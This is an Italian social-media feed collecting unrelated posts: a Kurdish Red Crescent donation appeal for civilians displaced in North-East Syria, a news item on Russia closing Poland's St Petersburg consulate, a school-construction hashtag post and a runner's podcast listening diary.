Le Forze Democratiche Siriane (SDF) e l’Amministrazione Autonoma della Siria del Nord-Est (DAANES) stanno cercando di facilitare l’evacuazione dei civili dai quartieri di Sheikh Maqsoud e Ashrafiye ad Aleppo, nonché dalle zone di Shehba e Tel Rifaat, dove migliaia di rifugiatx internx, in precedenza sfollatx da Afrin a seguito degli attacchi turchi del 2018, vedono la loro vita minacciata. La Mezzaluna Rossa Curda è impegnata in operazioni di emergenza per portare assistenza medica e distribuire beni essenziali alle persone in viaggio, ma le difficoltà logistiche, gli arresti arbitrari e i continui bombardamenti rendono la situazione sempre più critica. A Tabqa sono inoltre stati allestiti alloggi temporanei per gli sfollati interni.

Questa nuova escalation minaccia non solo la sicurezza delle popolazioni civili, ma anche il modello democratico costruito nel Rojava, fondato su uguaglianza di genere, ecologia e convivenza pacifica tra etnie e religioni differenti. A dieci anni dalla liberazione di Kobane, simbolo della resistenza contro Daesh, il Rojava rischia di essere cancellato da un’offensiva che destabilizzerà ulteriormente, e in maniera tragica, la regione.

L’Amministrazione Autonoma ha lanciato un appello urgente alla comunità internazionale, chiedendo interventi immediati per fermare l’escalation, aprire corridoi umanitari e proteggere i diritti delle popolazioni che vivono in Siria.

Unitevi alla nostra campagna per fornire aiuto concreto a chi, in queste ore, sta subendo questo ennesimo attacco contro la propria esistenza. Difendere il Rojava significa difendere i diritti umani di tuttx.

Coordinate bancarie per donazioni:

MEZZALUNA ROSSA KURDISTAN ITALIA ONLUS
Banca Popolare Etica s.c.p.a - Filiale di Firenze
IT53 R050 1802 8000 0001 6990 236

BIC: ETICIT22XXX

PayPal: shorturl.at/hKM89

Campagna Online: shorturl.at/FQFHt

NON SCRIVERE "SIRIA" o “ROJAVA” NELLA CAUSALE, SCRIVI “AIUTI EMERGENZA NES”

HarryKar reshared this.



NORD-EST DELLA SIRIA SOTTO ATTACCO: IL FUTURO DEL ROJAVA È A RISCHIO Civili in fuga, crisi umanitaria e minacce al modello democratico della Siria del Nord-Est

ROSSA KURDIS NA TS MEZ
ITALIA
DONA SUBITO!
NON SCRIVERE "SIRIA" O "ROJAVA NELLA CAUSALE SCRIVI
AIUTI EMERGENZA NES
Banca Etica:
IBAN: IT53 R050 1802 8000 0001 6990 236
Donazione immediata PayPal:
shorturl.at/hKM89
Campagna online:
shorturl.at/FQFHt

HarryKar reshared this.




Il ministero degli Esteri russo ha annunciato la chiusura del consolato polacco di San Pietroburgo. Tre persone del corpo diplomatico che vi lavorano sono state dichiarate "persona non grata".

Si tratta della risposta alla chiusura del consolato russo di Poznań decisa dal governo polacco alcune settimane fa, con l'accusa di coinvolgimento ad azioni di spionaggio e sabotaggio.

Fredda la reazione del ministro degli Esteri polacco Radosław Sikorski: "Accogliamo la decisione con dignitosa indifferenza".

Ha puntualizzato anche che le decisione di chiudere il consolato di Poznań era motivata dalla partecipazione ad azioni di sabotaggio in Polonia e nei Paesi alleati. "Questi atti di sabotaggio sono crimini che non hanno provocato vittime solo grazie a fortunate coincidenze", ha dichiarato.

Oggi al Consiglio dei ministri OSCE a Malta c'è stato un incontro ravvicinato, o meglio dire sfiorato, tra Sikorski e il capo della diplomazia russa Sergiej Lavrov, per la prima volta sul suolo europeo da quando è iniziata l'invasione russa totale dell'Ucraina.

Quando Lavrov ha preso la parola, Sikorski insieme ai suoi omologhi ceco, lituano, lettone ed estone, si è alzato dai banchi e ha lasciato l'aula.

tvp.info/83840976/reuters-rosj…



#NoiSiamoLeScuole questa settimana è dedicato alla Scuola primaria “Edmondo De Amicis” di Beinasco (TO) e alla Scuola secondaria di I grado “Antonio Gramsci” di Vinovo (TO) che, grazie ai fondi del #PNRR per l’edilizia scolastica, sono state demolite…


Durante questa lunga lunghissima corsetta grazie al software libero AntennaPod mi sono sparato in cuffia, nell'ordine:

1) La nuova puntata di Soul Shake Down Party, la storica trasmissione reggae in onda sulle croccanti frequenze di Radio Fujiko condotta dal sempre mitico Pier Tosi, che me la fa sempre pigliare bene con il suo giusto mix tra musica e story telling. Oggi si parlava di Dennis Bovell poi, vita morte e miracoli del vulcanico bassista di Linton Kwesi Johnson, tra le altre mille cose, quindi top proprio.

2) A seguire mi sono sparato la nuova puntata de L'Orda D'Oro, meraviglioso programma condotto da Strelka e Belka sulle frequenze libere di Radio Onda Rossa, incentrato su vari aspetti della storia dell'Asia Centrale. Quella delle steppe per intenderci. Si parla di storia, cultura, politica, cucina, musica, tutte cose. Se state pensando che cazzo me ne frega dell'Asia Centrale, fate male, perché forse non sapete che noi popoli di lingua indo-europea sia dal punto di vista genetico che linguistico siamo diretti discendenti di gente proveniente proprio da quelle parti, quindi è un po' come tornare a casa, o comunque in una delle tante case che abbiamo avuto nel corso di millenni 😋

3) ho ascoltato anche Datakinghtmare, programma nerd che parla di tecnologia, anche perché in questo episodio si parlava della clamorosa presa di posizione del Garante sulla decisione del Gruppo Gedi di vendere tutti i suoi (ma anche nostri) dati a OpenAi 😮

E insomma, tra una cosa e l'altra ste tre ore son passate alla grande e con massima piacevolezza 😅

#barefootrunning #running